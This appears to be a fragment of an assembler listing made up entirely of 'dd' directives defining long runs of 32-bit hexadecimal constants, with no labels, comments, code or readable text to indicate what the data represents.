dd 6C27EB1Fh, 649FF31Ah, 3E6282D1h, 0A03E00h, 93D0F36h
dd 375F15DFh, 1FCC828Eh, 39553554h, 3C2E3959h, 1DDF2E3Ah
dd 4F1D6D58h, 3BBCC971h, 1F1703F4h, 3B7B1ED8h, 97298144h
dd 6C313126h, 2B265FF7h, 3BF22CC7h, 3BFABE52h, 1EDD990Fh
dd 0A202C37h, 2625259Ah, 2269EF24h, 6EEA282Bh, 3A303C2Dh
dd 0BF313423h, 0B3392C7Fh, 3EFA2473h, 9DE3F53Eh, 26A9DBDEh
dd 267BE311h, 292E209Ah, 1D214C27h, 0E4E42F8Ch, 97113743h
dd 3CE95B36h, 9C3E3820h, 0BE14953Eh, 20BED21Dh, 0B8238025h
dd 0D1592684h, 45AB36C9h, 101E2E8Ch, 302254F1h, 271693D6h
dd 0D53C3BB4h, 473E6CE5h, 0D2B41C4Dh, 829E2182h, 2784E724h
dd 2A6E88A4h, 5AC6576Ch, 0B0CDCE13h, 372617F0h, 5BD2313Fh
dd 573651BFh, 0DE2AC80Fh, 2CE17119h, 20CD2643h, 6A212872h
dd 0EAAE4439h, 6639BD27h, 38F53C17h, 6B696A17h, 0D6F3B71Bh
dd 165F2F5Dh, 2249C794h, 0E701063Bh, 13D60725h, 0A6D32B9Dh
dd 31CC0BAAh, 7934BE31h, 0D1682F12h, 3DC27DECh, 3897B2C1h
dd 201E1F1Dh, 24722025h, 6BCF6AB5h, 0D32BD47Ch, 30472F47h
dd 34770430h, 6CBA3735h, 3E51021Dh, 0D5B46C3Dh, 0E15947F4h
dd 2372A3DFh, 0A30641A4h, 2F802E88h, 0CA2F4855h, 43465731h
dd 17581814h, 1B4C1478h, 3E044E11h, 7B197819h, 7222273h
dd 262F2950h, 28C236A7h, 0D7C529C0h, 6931270Fh, 8F53FD02h
dd 0FAB9C7C8h, 7DC23248h, 363CE2DDh, 902A1C16h, 5521E2h
dd 9DBE71E4h, 3D7D330Fh, 0F4D1C77Ch, 0B03B1160h, 3E4868BBh
dd 0E95C18D9h, 380B3C6Eh, 551EADD8h, 0B3CB2F79h, 23465AE5h
dd 0A652BB76h, 442FEC34h, 95EE236Eh, 1C13B2EAh, 0CF3B5B96h
dd 3B2C4F0Ah, 768D8D24h, 0E2252010h, 0A46522E4h, 2BA92DEEh
dd 0CE5229D7h, 23165DBBh, 768E8BB0h, 0B1FFB202h, 97187D34h
dd 5ED626CAh, 461F239h, 2D03666Bh, 0C6C2BE6h, 5B0B66F9h
dd 326F6F25h, 6D34846Eh, 0F909FCB4h, 8E898217h, 95B5B2Fh
dd 126D0E9Eh, 0E122A2E2h, 0F86906E7h, 0A62063A1h, 33BB2B3Fh
dd 70BF2BB3h, 3D6F645Ah, 23FCFBBFh, 131F3F2Eh, 20880C93h
dd 0E4133F85h, 892E8636h, 0A8262A68h, 0B4AB21EDh, 744719B1h
dd 0F0881E11h, 0B3BA3939h, 19552E3Ch, 0AD0BCEE3h, 4E005577h
dd 0E7A56FD4h, 3B281B7Ch, 26C6A17Ch, 30532530h, 15761160h
dd 6916BD39h, 3D02171Ch, 1D5F82F3h, 1A2190BEh, 752ACC22h
dd 6211B62h, 36ADF12Dh, 854230CFh, 72F20073h, 3AC62C13h
dd 0F23DD43Bh, 494EE5E8h, 31507B30h, 0E4712D20h, 92901638h
dd 7532EB7Fh, 22650F7Eh, 37143893h, 233A5959h, 673DBD3Bh
dd 0CF1B9A61h, 208D19ACh, 7C23B269h, 5C5745A5h, 5847436Fh
dd 0BFAD078Ch, 575232C1h, 585B5258h, 3D633C21h, 9BF03E39h
dd 9F519C59h, 0DCAA711Dh, 17A71D31h, 2B120DA4h, 71712D55h
dd 57693080h, 372638BDh, 0BAFEB83Ch, 3F3AFF3Bh, 178D1DEFh
dd 225EEC1Fh, 261A241Ch, 0E282818h, 5AA67A2Bh, 0F2023C0Bh
dd 48C3B153h, 0A979B225h, 0B010BE3Bh, 9031BA52h, 0A0032BEh
dd 0C73F83FCh, 2DF06C0Bh, 18CFAC2h, 71D4028Fh, 0E1199935h
dd 14953FC8h, 0EB119F30h, 31903A7Eh, 0A53B5F72h, 0AF06027Ah
dd 11C66C08h, 612007ADh, 30662FCDh, 941EB822h, 3A12DD87h
dd 0FF32DB94h, 0DB2CEF51h, 554B7C18h, 4A26E13Ch, 0C5222B6h
dd 30686329h, 90D322Ch
dd 0CC32A108h, 53DE3466h, 292E790Fh, 5D388931h, 130D1AABh
dd 3374DDB5h, 50C4D12Eh, 3A243C29h, 9DA0213Fh, 8931318Eh
dd 2C3501DBh, 3E5D2DB6h, 5A1E0FD0h, 241E7A53h, 0DC1D22Ah
dd 26013D57h, 188CF279h, 2EE1F13h, 553BC65Ah, 0A1469634h
dd 6B681954h, 9FAB37B1h, 7FFCFF03h, 33FD9A89h, 31C7A249h
dd 0C92186CAh, 8CB6EA3Eh, 33EF0B31h, 75C30860h, 5E202718h
dd 0BC3A9BCCh, 0DB7DBBD6h, 0E09F1CBh, 2E35C565h, 36278C5h
dd 7B77C874h, 6FAAC540h, 7F21955Ch, 21D01F94h, 51D23537h
dd 65B73E1Ch, 137AF40Bh, 2D32A9DEh, 0DBDA9ACBh, 3B6D3B45h
dd 2ECD8295h, 75C138B9h, 0BA62206Ch, 8A693A77h, 9970D73Ah
dd 14B66136h, 288A4A72h, 742D8A7Ch, 69152E89h, 0ED761928h
dd 5128368Eh, 6E555154h, 45409D77h, 64433A3Ah, 1C043F21h
dd 83271E02h, 904F21D0h, 5CAE4DA5h, 62A62E0Dh, 6FC72AA5h
dd 93326291h, 6D66739h, 2CB3FAA4h, 5B9E6F3Ch, 0BF4E9B4Eh
dd 4C1A656Eh, 93D9DB53h, 0F4A53C2Eh, 0F2CFD20h, 0C5011080h
dd 0F10D7163h, 3BBAB479h, 2F677D3Fh, 390B684Fh, 32031B74h
dd 3EA16557h, 2FE8812h, 3E09083Bh, 1661F10Bh, 57B5BADBh
dd 333930BCh, 7B7A32B2h, 0DD50CF2Dh, 6EC84F97h, 95D20DA2h
dd 69E83CFEh, 21217265h, 20286F7Dh, 0DD20C733h, 0C160B6E0h
dd 542ED36Dh, 1D1B25FFh, 0EE94051Dh, 0CC742A71h, 7F26E6C2h
dd 6EC3F2A2h, 3218CF7Eh, 37831991h, 0C274F68Eh, 5C17FC3Ah
dd 193CCEB3h, 1CEF58F4h, 4B6610CDh, 0D83FA494h, 96BB53Dh
dd 0D9ABADDCh, 0EB97944h, 0B5374494h, 6D3B48ACh, 4B56EAC3h
dd 0BDF11C99h, 0C205F1DBh, 26C64423h, 2AC91D75h, 0B6BE7C6Dh
dd 629B32BAh, 0A26D36A2h, 38AD5835h, 933D4D53h, 86C1C2Fh
dd 0C925AF1Dh, 34842037h, 3D804D25h, 2E389829h, 6132BA90h
dd 369E0331h, 0A8D835A2h, 3FA8D338h, 0B9192ACEh, 356F1EADh
dd 0D3BE3223h, 2962863Fh, 750B1A7Bh, 0BBFC1DF2h, 3AD1B7DBh
dd 3D39D601h, 0D63FB224h, 187F1E33h, 3FCF2ED7h, 6332B536h
dd 0FEF2F51Dh, 254BEBA3h, 242A4DCEh, 53E1BAF2h, 632FB43Ah
dd 0FB761DBCh, 0E4A7D825h, 0E04DDFDh, 29C6E10Ah, 0ADF51A43h
dd 29AD39DDh, 2F08ED62h, 0DABD7E66h, 3E265590h, 0FAD1777Eh
dd 269873EBh, 170D3535h, 1227D990h, 83172272h, 3116E65Eh
dd 0DDA7E620h, 78357B2Eh, 7C366138h, 513D97C5h, 3D7854BAh
dd 0B6733E3Eh, 211FFCB7h, 0AD91CA89h, 2B022094h, 2F0127E8h
dd 381FD1DEh, 44ACA0h, 22983517h, 3C343A36h, 140C3E32h
dd 0F72BC21Ch, 0F53A1182h, 7C381811h, 34E71CF7h, 7831E6BDh
dd 0A3E372A1h, 28E69836h, 0DE2C5821h, 3FFC31ACh, 471DDD02h
dd 0E5DE303Fh, 0E21A24F2h, 0ACC1083Ch, 6A3837EBh, 3E312F35h
dd 0DE393403h, 380C3CEDh, 25F55C27h, 98189BF8h, 8B048B0Bh
dd 273822B6h, 6A1F3B25h, 3968013Eh, 7D80E86h, 7DA40371h
dd 3679BC39h, 4A3AAF30h, 4CBEFF14h, 24E70BE2h, 0A32120FBh
dd 2A114C62h, 28236E2Dh, 14305894h, 0DC270533h, 0E82B4533h
dd 0D40F296Eh, 114F3136h, 16AE7BEEh, 0DDDA2A95h, 0CC66DADAh
dd 0C3E7A22Fh, 176E3DF9h, 3C256C70h, 0E5DA47B1h, 0FC702126h
dd 3FC13E5Fh, 4ECFF41Bh, 2D34AB1Dh, 33A0CBA7h, 3FAF85C2h
dd 0A9541E8Dh, 27BBFF3Ah, 0B635E488h, 6D191C4Bh, 0FCCCD46Dh
dd 3A5C0A16h, 0F38A9A11h, 0CD717437h, 2818FB68h, 38CC592Fh
dd 24DFC3E0h, 0E5411DF2h, 0DA2DD855h, 28D36B2Fh, 6E3C21D6h
dd 13FF42h, 28634F89h, 6926260Eh, 2DEA1C25h, 8B6E226Dh
dd 387333F0h, 7A36F67Ah, 4C3DFA35h, 9B953278h, 1ABE1814h
dd 262A8125h, 652320F4h, 292F2CE8h, 0EB22292Ch, 0F21FD134h
dd 3133DE2Fh, 7E020078h, 52972D3Ah, 0BE4F1A5Bh, 2231381Dh
dd 74CBE520h, 3E29B821h, 0EE2F4D3Eh, 9349B2ACh, 0A24D3533h
dd 0B9993B37h, 3E3EBD87h, 9E603F7Bh, 68551BE6h, 1A0A822h
dd 0AC2B27A6h, 0B592FEAh, 31B82FBEh, 15CCB031h, 84324237h
dd 0D42BDAF2h, 25213EA5h, 19A02797h, 1E051BCAh, 12581C5Dh
dd 171010E9h, 0BA01573h, 0FE8098Ah, 4100DC3h, 51067Bh
dd 278902B8h, 221B21CDh, 1EA11C66h, 1AC818F1h, 1570176Ch
dd 1156134Eh, 0DB60F4Fh, 8300BE5h, 4740612h, 673C024Eh
dd 1C8506A3h, 72320B4Fh, 0E7A69623h, 61C0A423h, 242C1F2Ah
dd 3771D936h, 0DF1B1C39h, 0CA7EB902h, 0F5D02339h, 9E0309B4h
dd 38221167h, 0A722CA36h, 0C0383725h, 2EAD5ED4h, 0E0C6C622h
dd 58C30B2h, 9727B634h, 3D4E24AFh, 0EC613ECCh, 4108941Ch
dd 0E4AD1012h, 49DFAD0Bh, 3D2D492Ah, 0D09E98C5h, 9338E139h
dd 274736A4h, 1E313BA6h, 4B28AF00h, 8DFCAE3h, 73EA486Eh
dd 0B137E94Ch, 0E2B5DC0h, 7F663BFDh, 25A2B7BAh, 0A2D26464h
dd 0DBF9A8E8h, 7E32FB5Ah, 971CDD1Fh, 2001105Dh, 2A255102h
dd 4864FB9Fh, 24DA7B3Bh, 26AE90C1h, 0CCF43772h, 0F839B331h
dd 3D22D4FAh, 1DDA90EFh, 9F084897h, 272420CAh, 0D7DFBE26h
dd 0A0BE2FA7h, 0BCB02F2Ah, 0F4BFB326h, 3B39D5F7h, 973E3A56h
dd 5E193E6Ch, 21331C1Ch, 26223823h, 2A262477h, 2E2BCCC7h
dd 0FA2D2FF3h, 82313364h, 39913434h, 3E3AA03Bh, 1A3E6BB9h
dd 411F1C6Ah, 226E2021h, 26731125h, 2A2B3129h, 0DF2F2C24h
dd 66EA1AB1h, 0FEB53435h, 95C82328h, 0F3F25ACh, 57CCEB85h
dd 0DD71754Eh, 17A93117h, 2BEFF83Fh, 0FF162D4Bh, 0BA18432Fh
dd 70BD2275h, 21086B22h, 267B04E1h, 0CD7D23EDh, 7F304010h
dd 0F479E310h, 9976782Ah, 2DAE2A34h, 313F2211h, 31B53331h
dd 3D59E114h, 2D254DFAh, 19491B32h, 95AF1CA8h, 0CFF85D23h
dd 0F8FD4E37h, 0EF472FEAh, 20397E26h, 60021021h, 2DC86545h
dd 8C284BB1h, 6F1DFC9Ah, 1E0E1706h, 0C1204294h, 12DDCD2Fh
dd 0AAD5D4D4h, 0BC2F2DABh, 26166E20h, 8736B598h, 103918A5h
dd 3A5F18FDh, 0DF707E0Dh, 0AE23E086h, 27640D1Bh, 29A87890h
dd 0A33BCD99h, 32B115B7h, 0A532555Bh, 143BB933h, 3A3C15ABh
dd 1F1C4696h, 0E285D1Ah, 25850A43h, 72AA477Ch, 0AD2C8A7Ah
dd 303C8A1Ch, 0F6611B12h, 3953173Dh, 3D15425Fh, 79736B39h
dd 24CF73FFh, 65515123h, 0E82D566Ah, 4D5E2E00h, 3059A13Ch
dd 24696535h, 7B616576h, 5B56BEBBh, 7CCFBF50h, 5C7C784Bh
dd 2ED2484Ch, 70252564h, 5A7E1B1Bh, 0CF1C2869h, 19DA33F0h
dd 0AD461C45h, 0AEE3FFB3h, 90FD2DA8h, 4A1BB31Dh, 248326B0h
dd 42254CB5h, 3A392E64h, 0FF823E9Bh, 0F417742Fh, 0DE3434E3h
dd 139FA32h, 3C3DFD9Ah, 0DCB2E3D7h, 21E17B1Eh, 0CECC200Ah
dd 0E85127E4h, 366C2F2Ah, 782E893Eh, 37BFCDB9h, 0FF38E7E7h
dd 1D2C2F7Eh, 1D09B67Ch, 3FDBD41Eh, 34FFA12Eh, 9462564h
dd 0D5002B58h, 203B7AA0h, 0BFF2B931h, 0F9CDBDC2h, 0CF393AD0h
dd 98F7B598h, 0EC5A1EFDh, 9732F484h, 27460100h, 2315C97Dh
dd 0A57D2D23h, 3F16B16Ch, 4360EEB0h, 2D32B91Eh, 2F303E30h
dd 375DB10Bh, 0A23466D8h, 19A52623h, 5A336EE0h, 70A54C73h
dd 836A6E36h, 46375636h, 0BD3B5CD2h, 0FE0E3E5Bh, 177C1A8Fh
dd 322F17EEh, 0BA226C20h, 0A02BB43Eh, 0EEB824FAh, 86D82AFBh
dd 7D3192BFh, 8890B239h, 0EE781330h, 2C1E833Bh, 272F7810h
dd 0A12CE2A4h, 29A77FAAh, 51CADFC0h, 0A96322BBh, 0A5F6333Dh
dd 34AD6A39h, 0DC04D23Ch
dd 5133AC32h, 53128154h, 8BA627C3h, 7252025h, 2FEB2D81h
dd 448EA82Dh, 5B34B1DCh, 17B63634h, 0E3D23590h, 3F7D3EDEh
dd 1C77E490h, 7521E09Ah, 0D911CE83h, 2E78C832h, 0F5A8F42Bh
dd 16156CA6h, 9623AE46h, 3889E065h, 0FABC0A68h, 1C1F169Eh
dd 4B23A928h, 25E47026h, 2A06C727h, 2F6D45ABh, 38443E17h
dd 0F410B072h, 4B2B5732h, 483CBBC9h, 3C92392Ch, 221A7921h
dd 249A2121h, 28372775h, 902D0A2Bh, 7C7F116Fh, 0B8D299C2h
dd 69673254h, 3BBB2CD9h, 25F3318h, 4F4C1B3Dh, 612EE7C8h
dd 761305B9h, 6A5B4191h, 0BF27012Eh, 52FDB23Bh, 4BBF3D4Ah
dd 0D37A791Ch, 0C0C3D48Dh, 360919CAh, 734B3275h, 20313723h
dd 6690C73h, 0C67F2D41h, 1E34020Dh, 37300072h, 4D13B37h
dd 0E66D397Bh, 4F2A9DB2h, 6DAB5B1Bh, 74743306h, 20FDD872h
dd 5B2C265Ch, 63562FA5h, 3CE3CC76h, 37527F7Bh, 7D75383Ah
dd 59712D54h, 751F5B77h, 2D498265h, 2A56CE75h, 792D127Ch
dd 0BEC70B25h, 0DC636731h, 39328FABh, 6A323E2Eh, 0E4C08B8Ah
dd 6B1E9374h, 310A21D4h, 27D4F7CCh, 3A2ADD03h, 0DDEC3FC4h
dd 0C036D330h, 85DE2534h, 0A23ACB7Dh, 0D7313DC8h, 4E1DEEB9h
dd 2C21D44Eh, 26D7B6CBh, 2729DC20h, 0DCAFC40Fh, 0C1328E2Fh
dd 0BCDD3833h, 4F39CA45h, 0D6363CCFh, 851CE95Dh, 0A4801F9Bh
dd 0A08C8922h, 29AD9726h, 0ED2CAE92h, 0F96A2FABh, 0B4E433B7h
dd 0E1160736h, 70DC3B4Eh, 3D0A3F4Eh, 482FEE17h, 42906C8h
dd 2667A4FFh, 0E2B6A01h, 30AE1E2Eh, 0C993C61h, 0BD773730h
dd 3CBE7239h, 1AFFBB6Dh, 0DE5BDD19h, 0E2671164h, 72669360h
dd 2F06EDABh, 2F832A3Ah, 672E33Bh, 5F381754h, 3053541Ah
dd 51CDC8F8h, 18771310h, 8036DFh, 873D2564h, 7B224805h
dd 254777C3h, 39519527h, 0A075F544h, 287A11AFh, 9F003752h
dd 0C921AD02h, 2D1DF123h, 971A4E1Ch, 7316D218h, 0E2139815h
dd 310FF611h, 35360331h, 3A388B37h, 0DAB0B4Eh, 2CAF0F9Fh
dd 110C2EF8h, 1577130Ah, 19A9175Bh, 1D9C1BB7h, 1F31FE7h
dd 5C903C4h, 0A050413h, 387B0805h, 1A550E2Dh, 3F1F9D4Dh
dd 806253C8h, 0A74EDADBh, 0E3082847h, 0ADAAEB28h, 51DA30B9h
dd 0C814CA90h, 0B0123E78h, 5F3ABDCCh, 1D1D0C1Fh, 2BA1A7F7h
dd 2451D2A6h, 7E39EF76h, 2F47640Fh, 22F0937Dh, 0DE344B73h
dd 7496F91Bh, 38B03C34h, 1B93F094h, 0ADA61995h, 23AB5524h
dd 2FA721A9h, 0A2E74386h, 2736A428h, 0BA3235BEh, 3FB71030h
dd 0F25D3B37h, 0C8D9AAF5h, 0B015A8BEh, 28EF2220h, 40D84C25h
dd 6F832ADFh, 914B2F2Dh, 64333631h, 0CE35BF51h, 186F3FBFh
dd 5A235629h, 9E139D1Dh, 23DDDEC2h, 71367726h, 0EA523CD7h
dd 0D0ABD524h, 663AF419h, 4B333563h, 6D6D3C38h, 0C0D6B61Ch
dd 1C5D9C0Eh, 0D231AB4Ah, 26A131DCh, 407F7B25h, 0BA312DAEh
dd 0CD622C2Fh, 0DE378026h, 0B10DC8D0h, 0F6198033h, 69E31ACEh
dd 0D635481Dh, 24D64F23h, 7E29D7EFh, 13A465A7h, 147042C6h
dd 0F57675B8h, 0B237B723h, 0B3B1787Ch, 14182F6Ch, 0A153F64Dh
dd 0C076E02h, 2A4F2674h, 0D3292A2Bh, 0EC0F1238h, 11773333h
dd 19704EDDh, 7D3AFB99h, 84D71837h, 7A4E083Ch, 0C3A625C0h
dd 0A729CD20h, 0B2B4915h, 64DCA8Dh, 5130F1D8h, 35516536h
dd 97D211B0h, 2873F5Ch, 0E06DD6Fh, 7FC93642h, 0D29C2C62h
dd 0DA80D54h, 3B1EED79h, 0F235F13Bh, 36CCB138h, 44B47834h
dd 9BD56B3Fh, 1F971FBFh, 0FA251EC6h, 0CD723356h, 0A8DB2512h
dd 0EEA72F42h, 316D7171h, 73BFF069h, 46F8B226h, 7BB7563Ah
dd 855B432h, 5FDEAE26h, 11237542h, 6C2B69E5h, 0A9F32A20h
dd 5C8578F6h, 72470B71h, 1679705Dh, 522ADA70h, 0F9175B72h
dd 91579D09h, 65403B45h, 3D831E54h, 48D213C8h, 2F7CA95Bh
dd 0B76632BBh, 2E964658h, 4E56586Eh, 9E7836DCh, 927C449Eh
dd 2484679h, 6BA55D12h, 2A425B46h, 2D2D6829h, 162725D0h
dd 3B93DD53h, 0B11C98E9h, 1E3CB7EBh, 6C6EC1Bh, 0A03075CCh
dd 2424C122h, 0A8D7D827h, 0D2D32BE8h, 0F3132D2Eh, 716CBA62h
dd 4EDC1312h, 1D043F4Ah, 5F3CC330h, 2424E0Fh, 0D5BDCA2Dh
dd 6253E633h, 2C2F0C71h, 312B2C24h, 8BE8DA4Ch, 94395DB7h
dd 8AC51B9h, 1255BE3Dh, 177CF54Dh, 0CB0415ACh, 2712A401h
dd 0C33E6127h, 7B2AAF37h, 0DB609735h, 3985EF60h, 43A039Eh
dd 3FB29B3Eh, 74BB1956h, 7287235Bh, 0A7F6822Bh, 2BE83D92h
dd 0EEB66E9Ah, 0F0737A2Eh, 3D102D32h, 3BF8011Ah, 9B4F6A74h
dd 5C1DD93Ch, 0E3771EDBh, 0E0311023h, 28EA4B27h, 952DEB0Fh
dd 0B0492A16h, 0A8F3EE07h, 26382803h, 0D7025F3Ah, 7D04FCE5h
dd 13FAA423h, 21BB1C43h, 6C244404h, 0C163589h, 2F5E122Eh
dd 73B32521h, 2DC86DE4h, 0A199F21Bh, 0EFC7B539h, 3C4C09BDh
dd 0A7D0F801h, 0F5717775h, 9322D62Bh, 6BA5FB2Ch, 6FBB2514h
dd 0C163510h, 11BC36FBh, 3D3E3D3Dh, 0C9413190h, 2299211Dh
dd 632A6037h, 0B792377h, 0C0E3C42Dh, 0C2862BEDh, 0A6CACBC9h
dd 0AD063835h, 3E323C34h, 121C14C0h, 2E20101Eh, 2A242C22h
dd 26282826h, 2D23D42Ah, 313F2F21h, 353B333Dh, 39373739h
dd 32C33B35h, 131B303Eh, 2F1F111Dh, 0C7742D21h, 0C818C264h
dd 0AF332A61h, 0D8793EEBh, 35893292h, 782F7F58h, 5E72583Ch
dd 0BE8534h, 3D1F3F27h, 3F247A60h, 0B8D33C9Bh, 2A23505Ch
dd 0AE5D5956h, 0DB643A49h, 153D77D2h, 0B0C2B228h, 676F7D0Ah
dd 5FE276FFh, 0FB468466h, 26D42221h, 2B5A2AECh, 2E173C0Bh
dd 2000112Dh, 0F634345Dh, 3A4A1517h, 154F063Ah, 1BCA410Ah
dd 20031F9Ah, 1F243312h, 60F92652h, 4C2C08D5h, 2332C7Bh
dd 6537C331h, 1969E636h, 3FDF3A3Ah, 494B643Bh, 1C525Fh
dd 0E7B70C09h, 27E25544h, 23EB2F2Fh, 0C83ECFCAh, 0BEEB7FBCh
dd 0FABD27B5h, 204E2D03h, 0F2F00BDh, 9F1F4C96h, 56237621h
dd 0E6A52B24h, 29EDAA2Ah, 5AEE2DA8h, 0D8F202D0h, 0F7562E30h
dd 0FBBFFA23h, 62D629DDh, 1E233C14h, 9F82381Ch, 5E2595CBh
dd 0C821A38Bh, 79286CB9h, 86AD356Ch, 0C4641E95h, 39CF4B34h
dd 4B3ECE07h, 15FDFCFDh, 0EB80579Eh, 3835D7CAh, 20F92096h
dd 183D5997h, 22D2078Eh, 30141925h, 973BC560h, 5F3AFA7Fh
dd 27CAEF14h, 1CD525C7h, 1A2E1FAFh, 17641836h, 13761565h
dd 312F11DEh, 353330E1h, 0AC343691h, 0A00BA209h, 0BF0F9E0Dh
dd 312F392Ch, 0C7134211h, 0D917D015h, 19182C19h, 4B1C141Eh
dd 3D005B02h, 2052D07h, 4F09060Bh, 2AC1470Fh, 49888CBFh
dd 2A4B0175h, 0E7064E0Bh, 7B03427Dh, 0A6B3CA2h, 0AE533EC7h
dd 27FDBF2Bh, 0D22B3FE6h, 56075D15h, 0FC296A33h, 6E925E84h
dd 0A5B5822Ah, 29C01F20h, 0D2D3317Fh, 5B2F4579h, 165E2EB2h
dd 1052195Ch, 2C167CFAh, 38575C9Eh, 0AC7C7E21h, 0A6242208h
dd 202626h, 0E2A0AEC8h, 1011C6A1h, 1FB6F25Dh, 3A33125Dh
dd 3E381443h, 3B315F26h, 1D181D7Fh, 0A3E96F43h, 6D378522h
dd 0B423888h, 2CCE286Dh, 32587160h, 8D389765h, 3E5C2878h
dd 0B4953D49h, 95BAF7E6h, 0F3203858h, 69CD742Eh, 77D6D644h
dd 0A520C70Bh, 26E02860h, 97BDC2Bh, 2B0A38C7h, 5E753CD9h
dd 1769097Eh, 7974FF10h, 77302222h, 295338CEh, 2C22E228h
dd 33021EEh, 2D257372h, 667FF622h, 6467057Ah, 8424109Bh
dd 0A3AF89A4h, 9613C5E1h
dd 2234E71Dh, 0CD2C7B89h, 0F3409064h, 3696FA44h, 9C3C3735h
dd 343F0A2Ah, 4B3B6A1Dh, 50A0F54Dh, 29831260h, 1A093D8Fh
dd 0ACA32CE9h, 0A1614E23h, 0DB03A76Dh, 0EC227542h, 0D53988A3h
dd 0B2FD378Ch, 4EA25E1Fh, 4A772819h, 0AB24B42Dh, 78A92CE7h
dd 4EEA28A6h, 0DE1CF12Fh, 35A77B87h, 2BC53667h, 8F080C92h
dd 9B95BFCBh, 0A7E73C3Fh, 5220002h, 78EFB569h, 6FA52D09h
dd 31B6E90Fh, 35633D10h, 0C6BDC8C9h, 3DA7BF35h, 914C3C3Eh
dd 0C8073A51h, 0DB7A22E3h, 28259DDAh, 2D2B402Ah, 62E2E45h
dd 34323275h, 741372B8h, 0F2B06A6Ah, 3F63B73Dh, 49D8F568h
dd 73DD21DFh, 0E1EBAE73h, 474A0D6Ch, 2E2EC52Fh, 31B4B930h
dd 5953457Bh, 593B3ABDh, 4AADBF7Eh, 871D6E69h, 21642519h
dd 5AE0212Bh, 4F652A76h, 4BF95A4Ah, 5B0B306Ch, 36661AF3h
dd 82A2787Ch, 0BEA53E3Bh, 1365DA34h, 58E57018h, 6346603h
dd 0E9466E24h, 2E404A22h, 45481EEEh, 34F23032h, 304A5E70h
dd 7E3A2CFAh, 734F319Ch, 481F7272h, 17534E44h, 20497517h
dd 0AC585A48h, 62272E72h, 34541054h, 6B455329h, 5F526919h
dd 1C3B5B1Fh, 9E751B1Ch, 83114D41h, 4B420B16h, 0E3A4944h
dd 2F0A1E8Ch, 5BE7CE75h, 37763434h, 3A6B3B32h, 173CFC1Ah
dd 541C1C1Ah, 82E9079h, 0A60925C3h, 42867h, 2DCD2Dh, 0E205333Fh
dd 97657033h, 387C3877h, 3D3CE9C4h, 0DF1D8A7Dh, 1D202F58h
dd 58036DDh, 23290765h, 2DA68C62h, 45F0AB26h, 9DA73344h
dd 393B373Ah, 39223A0Bh, 0D9529BD6h, 247F751Fh, 2DCB2131h
dd 0B270D25h, 0F2DBA0Bh, 31DAC62Fh, 96177EFBh, 3927324Dh
dd 2C38DED1h, 532F3D75h, 1CCDF51Fh, 20E5392Fh, 272FDA34h
dd 924C128h, 6E6B6CB8h, 0CB27CEA4h, 773155F3h, 27A23921h
dd 0B72C826Ah, 6E7828BAh, 0AC73305Dh, 2DF626AAh, 93C2294h
dd 70EC6A4Bh, 223976E8h, 0C8BCCBAFh, 2A38FB07h, 753DBC3Eh
dd 0D114E4A6h, 216FEF20h, 0C817762Ah, 0B151FA1Dh, 7E54BF62h
dd 0BA662F7Bh, 35A01786h, 0B2386035h, 4362B6C3h, 185E70B3h
dd 137FDAF5h, 0CCE8A971h, 0E8D524E3h, 0A824EA1Bh, 0A02F2AC4h
dd 59BCBF33h, 91DFB395h, 9791397Dh, 59F13D79h, 2EBEBC1Fh
dd 212105AEh, 752606B4h, 0ABF9D67Eh, 0E120990h, 3C3731F0h
dd 1274CBB1h, 6081DBCh, 0F60D3DDCh, 1F6C1E5Bh, 470AAC96h
dd 40260523h, 5A6D2857h, 0EE7D7D2Bh, 0BEB9667Dh, 36956217h
dd 7B501CF7h, 1F695401h, 5D4F4D48h, 5410570Ah, 616003D8h
dd 0A2207302h, 831DF31Fh, 0F1B53FEAh, 36406C72h, 9EEC866h
dd 6D640F0Fh, 183B42D6h, 0F30F1FFDh, 0D26B2F1Ch, 2EB702A1h
dd 2E2A5F28h, 0B174D673h, 5B33F2F5h, 37373959h, 0BC3B3F39h
dd 4C696B6Eh, 0AF740976h, 232D3701h, 28D9252Bh, 242A2628h
dd 202E222Ch, 3C323E30h, 30363A34h, 3B353937h, 89BE3D34h
dd 8690911Bh, 0CBDEDFE4h, 0DAB364D8h, 0E2A4A5D8h, 7BDD8C2Ah
dd 3381602Dh, 6637D163h, 0E01139D7h, 0B5153C2Ah, 351C8FBAh
dd 1135FF9Dh, 0D57DE3FEh, 0D6D6A486h, 2DAD655Eh, 0BB5F0F67h
dd 0A168932Eh, 1D7435F7h, 5D665B1Ah, 9E46E32h, 0E01EDE31h
dd 4E032AB7h, 4E717435h, 4A3D2849h, 24BE8EE4h, 2169F233h
dd 58347601h, 8F39BA1Bh, 0EC0683Ch, 823A9D94h, 7C22151h
dd 77223D8Fh, 238F02C0h, 3BC6293Dh, 3726C234h, 245BB435h
dd 3B4B363Ch, 4E23392Ch, 35190C1Bh, 302150C8h, 9606E427h
dd 0EB492C32h, 842DAD2Ah, 4231B547h, 0B34D34B6h, 3ABCB837h
dd 3EB8B491h, 0F8769EAFh, 1E373B15h, 80242C11h, 2083E12Fh
dd 2DB4C7ABh, 62322F2Ch, 0BC62EAB9h, 311C6B36h, 0D53870B7h
dd 1BFB1ED7h, 903BAA96h, 0A9732341h, 0C0596835h, 0A92DFACAh
dd 0B52F21EDh, 36333157h, 0E05F6160h, 7C0D3B39h, 4A6FDE34h
dd 0BDB754Eh, 0B9A2C0BCh, 0A42F6581h, 2B2335ECh, 6F5A1950h
dd 0B809777Fh, 0DF669DFBh, 4F34BB14h, 0AB3033B8h, 9D77FE15h
dd 797F7F11h, 15C8ADAAh, 622FB967h, 166DBD67h, 361544A6h
dd 0B475F4DBh, 0CA51C7CAh, 3CB81D7Ah, 1D035720h, 3E171F01h
dd 0A5243C22h, 44A823ABh, 25A60C2Ah, 0B930AF07h, 5118133Ch
dd 7FB14096h, 7BFB3F02h, 6A9D9E5Eh, 0CC9C0408h, 73752AA1h
dd 3C035AAEh, 0CDEA22ABh, 36A72925h, 3C7310D9h, 2C151155h
dd 0CC3332F9h, 0F333263Ch, 891FCC1Ah, 8CA2C2Bh, 4213161h
dd 0C3E4295Ah, 8E2E5C37h, 1094755Ah, 1A23F6D0h, 1638AB29h
dd 3CAD6C7Ch, 0FD29F417h, 22D27812h, 5CD7028h, 0C25928D4h
dd 2F0D2326h, 11830C4h, 396ABDE8h, 362167BEh, 933A38F9h
dd 5B9723AFh, 6FABBF16h, 25757326h, 0F4280CFBh, 296AA02Ah
dd 1A3C79A5h, 0FBBF63E2h, 4039CDF7h, 0E453BA4h, 5A92FF3Eh
dd 28599719h, 28652EA8h, 3BEA47A9h, 3443D543h, 306CB72Dh
